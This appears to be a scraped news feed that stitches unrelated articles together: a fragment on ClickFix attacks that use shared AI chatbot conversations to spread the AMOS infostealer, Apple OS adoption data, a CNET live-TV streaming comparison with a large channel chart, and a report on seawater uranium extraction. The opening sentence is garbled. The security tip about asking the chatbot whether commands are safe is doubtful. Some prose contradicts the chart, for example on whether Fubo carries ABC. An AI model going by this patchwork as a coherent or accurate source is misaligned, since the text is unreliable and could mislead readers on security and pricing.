A similar campaign leveraged the chat sharing feature in ChatGPT and Grok to deliver the AMOS infostealer. In December 2025, researchers found the promoted after researchers found ChatGPT and Grok conversations were being leveraged in ClickFix attacks targeting Mac users.
The Claude variation of the attack indicates that abuse has expanded to other large language models (LLMs).
Users are recommended to exert caution and avoid executing in Terminal commands they don’t fully understand. As Kaspersky researchers noted in the past, asking the chatbot in the same conversation about the safety of the provided commands is a straightforward way to determine if they’re safe or not.
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Apple’s February 2026 App Store data shows iOS 26 adoption closely tracking the pace set by iOS 18 in January 2025, and iPadOS 26 is ahead of iPadOS 18, undercutting claims that the upgrade cycle is faltering.
Apple publishes OS 26 adoption data
Apple publishes operating system adoption rates based on devices that transacted on the App Store. The February 12, 2026 data can be measured against Apple’s January 24, 2025 published figures for a like-for-like comparison. The breakdown separates recently introduced hardware from the full active installed base. Because Apple publishes these numbers annually, it allows for a category-matched comparison between the 2025 and 2026 cycles at the same stage. Continue Reading on AppleInsider | Discuss on our Forums
Before you’re tempted to attach yourself to a cable subscription, maybe it’s time to consider a live TV streaming service and let the cord go. The number of packages available today — for every kind of budget — is on the rise; however, live TV streaming services allow you to avoid those annoying contracts. They also offer a variety of channels, DVR and the ability to stream sports and other content. Plus, most services let you watch on your laptop or phone.
Monthly pricing and regional sports networks can make it a challenge when choosing a live TV streamer but six main services to consider (we’re not including smaller ones) are Fubo, Philo, Sling TV, DirecTV, YouTube TV and Hulu Plus Live TV.
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It really boils down to the channels, right? We’ve examined which platforms feature the most top 100 channels in their main lineups to help you determine which one is best for your household.
The Big Chart: Top 100 channels compared (updated Feb. 2026)
The main difference between the services lies in their channel selection. All of them offer different lineups of channels for various prices.
Below, you’ll find a chart that shows the top 100 channels across all six services. Note that not every service has a worthy 100. There are actually seven listed because Sling TV has two “base” tiers, Orange and Blue. And if you’re wondering, I chose which “top” channels made the cut. Sorry, AXS TV, Discovery Life, GSN and Universal HD.
Fubo and NBCUniversal still have not resolved their carriage dispute, resulting in a gap in Fubo’s channel lineup but a drop in monthly subscription prices. DirecTV offers signature streaming packages, and its basic plan starts at $90 per month, plus fees (excluding promotional rates). With channel losses and price hikes, some of the services may seem less appealing.
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Sling TV has made some changes to its Blue package in 2026. The price is $46 a month if you don’t have any local stations but the price has increased by $4 for those who do. If you have one or two local networks, such as NBC or Fox, the monthly rate is $50. Customers with three or more local stations in their Sling Blue package now pay $55 per month.
Philo offers a small roster but packages HBO Max, Discovery Plus and AMC Plus access with it at no extra charge. But costs continue to go up and those changes are reflected in the chart below where applicable.
Some more stuff to know about the chart:
Yes = The channel is available on the cheapest pricing tier. That price is listed next to the service’s name.
No = The channel isn’t available at all on that service.
$ = The channel is available for an extra fee, either a la carte or as part of a more expensive package or add-on.
Regional sports networks — local channels devoted to showing regular-season games of particular pro baseball, basketball and hockey teams — are not listed. DirecTV’s $130 tier has the most RSNs by far, but a few are available on other services. You can also check out its MySports package for $70 and Xfinity’s sports and news offering.
Local ABC, CBS, Fox, NBC, MyNetworkTV and The CW networks are not available in every city. Because the availability of these channels varies, you’ll want to check the service’s website to verify that it carries your local network.
Local PBS stations are only currently available on DirecTV, Hulu Live and YouTube TV. Again, you’ll want to check local availability.
Sling Blue subscribers in cities like Philadelphia, Chicago, Los Angeles and New York City pay extra for access to channels like NBC and ABC. Check Sling’s site to see which local channels are available in your area.
Fubo subscribers get an $11 price decrease on its Pro and Elite plans amid the NBCU carriage dispute, but you may find that the ACC Network and SEC Network are included with the TV package at no extra cost. Check availability for your state.
The chart columns are arranged in order of price, so if you can’t see everything you want, try scrolling right.
Philo vs. Sling TV vs. Fubo vs. YouTube TV vs. DirecTV vs. Hulu: Top 100 channels compared
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Channel
Philo ($33)
Sling Orange ($46)
Sling Blue ($46)
Fubo ($74)
YouTube TV ($83)
DirecTV ($90)
Hulu with Live TV ($90)
Total channels:
43
24
34
39
78
56
75
ABC
No
No
No
Yes
Yes
Yes
Yes
CBS
No
No
No
Yes
Yes
Yes
Yes
Fox
No
No
Yes (some markets)
Yes
Yes
Yes
Yes
NBC
No
No
Yes (some markets0
No (due to carriage dispute)
Yes
Yes
Yes
PBS
No
No
No
No
Yes
Yes
Yes
CW
No
No
No
Yes
Yes
Yes (limited)
Yes
MyNetworkTV
No
No
No
No
Yes
Yes
Yes
Channel
Philo ($33)
Sling Orange ($46)
Sling Blue ($46)
Fubo ($74)
YouTube TV ($83)
DirecTV ($90)
Hulu with Live TV ($90)
A&E
Yes
Yes
Yes
No
No
$
Yes
ACC Network
No
$
No
Yes
Yes
$
Yes
Accuweather
Yes
No
No
Yes
No
Yes
No
AMC
Yes
Yes
Yes
No
Yes
Yes
No
Animal Planet
Yes
No
No
No
Yes
Yes
Yes
BBC America
Yes
Yes
Yes
No
Yes
Yes
No
BBC World News
Yes
$
$
No
Yes
$
No
BET
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Big Ten Network
No
No
$
Yes
Yes
$
Yes
Bloomberg TV
No
Yes
Yes
Yes
No
Yes
Yes
Boomerang
No
$
$
No
No
Yes
$
Bravo
No
No
Yes
No (due to carriage dispute)
Yes
Yes
Yes
Channel
Philo ($33)
Sling Orange ($46)
Sling Blue ($46)
Fubo ($74)
YouTube TV ($83)
DirecTV ($90)
Hulu with Live TV ($90)
Cartoon Network
No
No
Yes
No
Yes
Yes
Yes
CBS Sports Network
No
No
No
Yes
Yes
$
Yes
Cheddar
Yes
No
No
Yes
Yes
Yes
Yes
Cinemax
No
No
No
No
$
$
$
CMT
Yes
$
$
Yes
Yes
Yes
Yes
CNBC
No
No
$
No (due to carriage dispute)
Yes
Yes
Yes
CNN
No
Yes
Yes
No
Yes
Yes
Yes
Comedy Central
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Cooking Channel
Yes
$
$
$
No
$
$
Destination America
Yes
$
$
$
No
$
$
Discovery Channel
Yes
No
Yes
No
Yes
Yes
Yes
Disney Channel
No
Yes
No
Yes
Yes
Yes
Yes
Disney Junior
No
$
No
Yes
Yes
Yes
Yes
Disney XD
No
$
No
Yes
Yes
Yes
Yes
E!
No
No
Yes
No (due to carriage dispute)
Yes
Yes
Yes
ESPN
No
Yes
No
Yes
Yes
Yes
Yes
ESPN 2
No
Yes
No
Yes
Yes
Yes
Yes
ESPNEWS
No
$
No
$
Yes
$
Yes
ESPNU
No
$
No
$
Yes
$
Yes
Channel
Philo ($33)
Sling Orange ($46)
Sling Blue ($46)
Fubo ($74)
YouTube TV ($83)
DirecTV ($90)
Hulu with Live TV ($90)
Food Network
Yes
Yes
Yes
No
Yes
Yes
Yes
Fox Business
No
No
$
Yes
Yes
Yes
Yes
Fox News
No
No
Yes
Yes
Yes
Yes
Yes
FS1
No
No
Yes
Yes
Yes
Yes
Yes
FS2
No
No
$
Yes
Yes
$
Yes
Freeform
No
Yes
No
Yes
Yes
Yes
Yes
FX
No
No
Yes
Yes
Yes
Yes
Yes
FX Movies
No
No
$
$
Yes
$
Yes
FXX
No
No
$
Yes
Yes
Yes
Yes
FYI
Yes
$
$
No
No
$
Yes
Golf Channel
No
No
$
No (due to carriage dispute)
Yes
$
Yes
Hallmark
Yes
$
$
Yes
Yes
Yes
Yes
HBO/Max
No
No
No
No
$
$
$
HGTV
Yes
Yes
Yes
No
Yes
Yes
Yes
History
Yes
Yes
Yes
No
No
$
Yes
HLN
No
$
Yes
No
Yes
Yes
Yes
IFC
Yes
Yes
Yes
No
Yes
Yes
No
Investigation Discovery
Yes
Yes
Yes
No
Yes
Yes
Yes
Lifetime
Yes
Yes
Yes
No
No
$
Yes
Lifetime Movie Network
Yes
$
$
No
No
$
Yes
Channel
Philo ($33)
Sling Orange ($46)
Sling Blue ($46)
FuboTV ($74)
YouTube TV ($83)
DirecTV ($90)
Hulu with Live TV ($90)
Magnolia Network
Yes
$
$
No
Yes
$
Yes
MeTV
Yes
Yes
Yes
Yes
No
Yes
No
MGM+
$
$
$
No
$
$
No
MLB Network
No
$
$
$
No
$
Yes
Motor Trend
Yes
Yes
No
No
Yes
Yes
Yes
MSNBC
No
No
Yes
No (due to carriage dispute)
Yes
Yes
Yes
MTV
Yes
$
$
Yes
Yes
Yes
Yes
MTV2
Yes
$
$
$
Yes
Yes
$
National Geographic
No
No
Yes
Yes
Yes
No
Yes
Nat Geo Wild
No
No
$
$
Yes
$
Yes
NBA TV
No
$
$
$
Yes
$
No
NFL Network
No
No
Yes
Yes
Yes
$
Yes
NFL Red Zone
No
No
$
$
$
No
$
NHL Network
No
$
$
$
No
$
No
Nickelodeon
Yes
No
No
Yes
Yes
Yes
Yes
Nick Jr.
Yes
Yes
Yes
Yes
Yes
$
Yes
Nicktoons
Yes
$
$
$
Yes
$
$
OWN
Yes
No
No
No
Yes
$
Yes
Oxygen
No
No
$
Yes
Yes
$
Yes
Paramount Network
Yes
$
$
Yes
Yes
Yes
Yes
Science
Yes
$
$
$
No
$
$
Channel
Philo ($33)
Sling Orange ($46)
Sling Blue ($46)
FuboTV ($74)
YouTube TV ($83)
DirecTV ($90)
Hulu with Live TV ($90)
SEC Network
No
$
No
$
Yes
$
Yes
Showtime
No
$
$
$
$
$
$
Smithsonian
Yes
No
No
Yes
Yes
$
Yes
Starz
$
$
$
$
$
$
$
Sundance TV
Yes
$
$
No
Yes
Yes
No
Syfy
No
No
Yes
No (due to carriage dispute)
Yes
Yes
Yes
Tastemade
Yes
$
$
Yes
Yes
$
No
TBS
No
Yes
Yes
No
Yes
Yes
Yes
TCM
No
$
$
No
Yes
$
Yes
TeenNick
Yes
$
$
$
Yes
Yes
$
Telemundo
No
No
No
Yes
Yes
$
Yes
Tennis Channel
No
$
$
$
No
$
No
TLC
Yes
No
Yes
No
Yes
Yes
Yes
TNT
No
Yes
Yes
No
Yes
Yes
Yes
Travel Channel
Yes
Yes
Yes
No
Yes
$
Yes
TruTV
No
$
Yes
No
Yes
$
Yes
TV Land
Yes
$
$
Yes
Yes
Yes
Yes
USA Network
No
No
Yes
No (due to carriage dispute)
Yes
Yes
Yes
VH1
Yes
$
$
Yes
Yes
Yes
Yes
Vice
Yes
Yes
Yes
No
No
$
Yes
WE tv
Yes
$
$
No
Yes
Yes
No
Channel
Philo ($33)
Sling Orange ($46)
Sling Blue ($46)
FuboTV ($74)
YouTube TV ($83)
DirecTV ($90)
Hulu with Live TV ($90)
James Martin/CNET
Hulu Plus Live TV, which includes access to Disney Plus, Hulu on-demand and ESPN Plus, is one of the most expensive platforms, now at $90 a month for its base package. Its channel selection isn’t as robust as YouTube TV, but Hulu’s significant catalog of on-demand content sets it apart. ABC shows like High Potential and exclusive titles such as Shōgun, The Bear and Only Murders in the Building give it a content advantage.
Live TV subscribers also receive unlimited DVR that includes fast-forwarding and on-demand playback — at no additional cost. It’s a move that has aligned Hulu with its competitors in terms of features but the channel lineup may still be a deciding factor. It’s pricier than YouTube TV, which has more channels, but the access to Disney Plus and ESPN may make it a more appealing choice for you. Read our Hulu Plus Live TV review.
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James Martin/CNET
Apart from its current carriage dispute with Disney, YouTube has an excellent channel selection, easy-to-use interface and best-in-class cloud DVR. Typically, the $83-per-month service is one of the best cable TV replacements. It offers a 4K upgrade add-on for an additional price, but the downside is that there isn’t much to watch at present unless you watch select channels. If you don’t mind paying a bit more than the Sling TVs of the world, or want to watch live NBA games, YouTube TV offers a high standard of live TV streaming. Read our YouTube TV review.
If you want to save a little money and don’t mind missing out on local channels, Sling TV is the best of the budget services. Its Orange and Blue packages start at $46 per month, and you can combine them for a monthly rate of $61 (more in some regions). The Orange option nets you one stream, while Blue gives you three. It’s not as comprehensive or as easy to navigate as YouTube TV, but with a bit of work, including adding an antenna or an AirTV 2 DVR, it’s an unbeatable value. We’ll also add that the service offers local channels such as ABC and CBS in some regions, where the monthly rate is $50 or $55. Read our Sling TV review.
Zooey Liao/CNET
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DirecTV’s base signature streaming package costs more than all the other platforms on this list except Hulu Plus Live TV, and its stiffest competition is still Hulu and YouTube TV. With its channel selection, it’s ideal for sports fans who want to watch local or national games.
The service does have its benefits, though — for example, it includes the flipper-friendly ability to swipe left and right to change channels. Additionally, it includes some channels that some other services can’t, including nearly 250 PBS stations nationwide. The $90 Entertainment package may suit your needs with its 90-plus channels and the inclusion of ESPN Unlimited. But for cord-cutters who want to follow their local NBA or MLB team, DirecTV’s pricier Choice package is a more robust live TV streaming pick because it has access to more regional sports networks than the competition. Nonetheless, you’ll want to make sure your channel is included here and not available on one of our preferred picks before you pony up. Read our DirecTV streaming service review.
Ty Pendlebury/CNET
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There’s a lot to like about Fubo — it offers a wide selection of channels and its sports focus makes it especially attractive to soccer fans or NBA, NHL and MLB fans who live in an area served by one of Fubo’s RSNs. It’s also a great choice for NFL fans because it’s one of three services, alongside YouTube TV and Hulu, that offer NFL Network and optional RedZone. The biggest hole in Fubo’s lineup is the lack of Warner Bros. Discovery networks, including Cartoon Network, CNN, Food Network, HGTV, TBS and TNT — especially as the latter two carry a lot of sports content, in particular MLB, NBA and NHL. Its current dispute with NBCU is causing more channel losses (no ABC, Bravo, etc.). Those missing channels, and the $74 price tag for the base plan, make it less attractive than YouTube TV for most viewers. Read our Fubo review.
Sarah Tew/CNET
Philo’s Core plan is now $33 and includes the AMC Plus bundle and HBO Max at no extra cost, and it’s still a cheap live TV streaming service with a variety of channels. But it lacks sports channels, local stations and big-name news networks — although BBC News and Cheddar are available. Philo offers bread-and-butter cable staples like Comedy Central, Hallmark Channel and Nickelodeon, and specializes in lifestyle and reality programming. It’s also one of the most affordable live services that streams Paramount, home of Yellowstone, and includes a cloud DVR, as well as optional add-ons from Hallmark Plus and Starz. We think most people are better off paying a few bucks more for Sling TV’s superior service, but if Philo has every channel you want, it’s a decent deal. Read our Philo review.
China successfully extracted kilogram-level uranium from seawater under real marine conditions
Oceans contain far more uranium than all known land-based deposits combined
Seawater uranium concentration is extremely low, making recovery technically demanding
Chinese scientists have revealed successful kilogram-scale uranium extraction from seawater under real marine conditions, a milestone which moves the concept beyond laboratory testing.
The announcement came through state-linked nuclear institutions, and was tied to the operation of a dedicated offshore test platform in the South China Sea.
Seawater contains uranium at extremely low concentrations, roughly 0.003ppm, which makes recovery technically demanding and energy intensive.
Seawater uranium attracts long-term interest
Despite this low concentration, the sheer volume of the oceans means the total uranium content is vast, far exceeding known land-based reserves.
The claim of extracting 1000g therefore signals a controlled demonstration rather than a commercial breakthrough.
Conventional uranium mining relies on finite terrestrial deposits, many of which face constraints related to cost, geopolitics, and environmental pressures.
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Estimates from international nuclear agencies place economically recoverable land-based uranium at several million tons, enough for centuries at current reactor consumption rates.
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By contrast, seawater is believed to hold around 4.5 billion tons of uranium, continuously replenished by geological processes.
This has driven years of research into adsorption materials and marine extraction systems, while China’s recent test adds data but does not resolve the fundamental cost challenge.
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The reported extraction relied on a large marine testing platform designed to validate materials under real ocean conditions, including currents, biofouling, and corrosion.
Officials described progress in adsorption materials and scale-up experiments, suggesting incremental improvements rather than disruptive leaps.
Extracting uranium from seawater requires repeated deployment, recovery, and chemical processing of absorbent materials, and each step carries energy and maintenance costs.
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No public figures were provided on extraction efficiency, energy return, or projected costs per kilogram, which remain central to assessing feasibility.
Without those metrics, the kilogram figure functions mainly as proof of controlled operation.
China’s stated ambition to reach what it describes as “unlimited battery life” by 2050 ties to the long-term availability of nuclear fuel rather than short-term technological change.
Nuclear power relies on uranium as a primary energy source, and the scale of accessible uranium directly affects how long reactors can operate without supply constraints.
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If uranium could be extracted from seawater at an industrial scale, nuclear fuel supply would shift from finite terrestrial deposits to a continuously replenished natural resource.
However, international assessments suggest that advanced reactors, recycling, and breeder systems could extend uranium availability even without seawater extraction.
Against that backdrop, the seawater effort represents an additional option whose practicality remains unresolved.
While the oceans offer an immense theoretical resource, translating that into reliable, economical fuel would require breakthroughs not yet shown publicly.
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The kilogram extracted marks progress, although its significance depends entirely on whether future data supports claims of sustainable, large-scale operation.
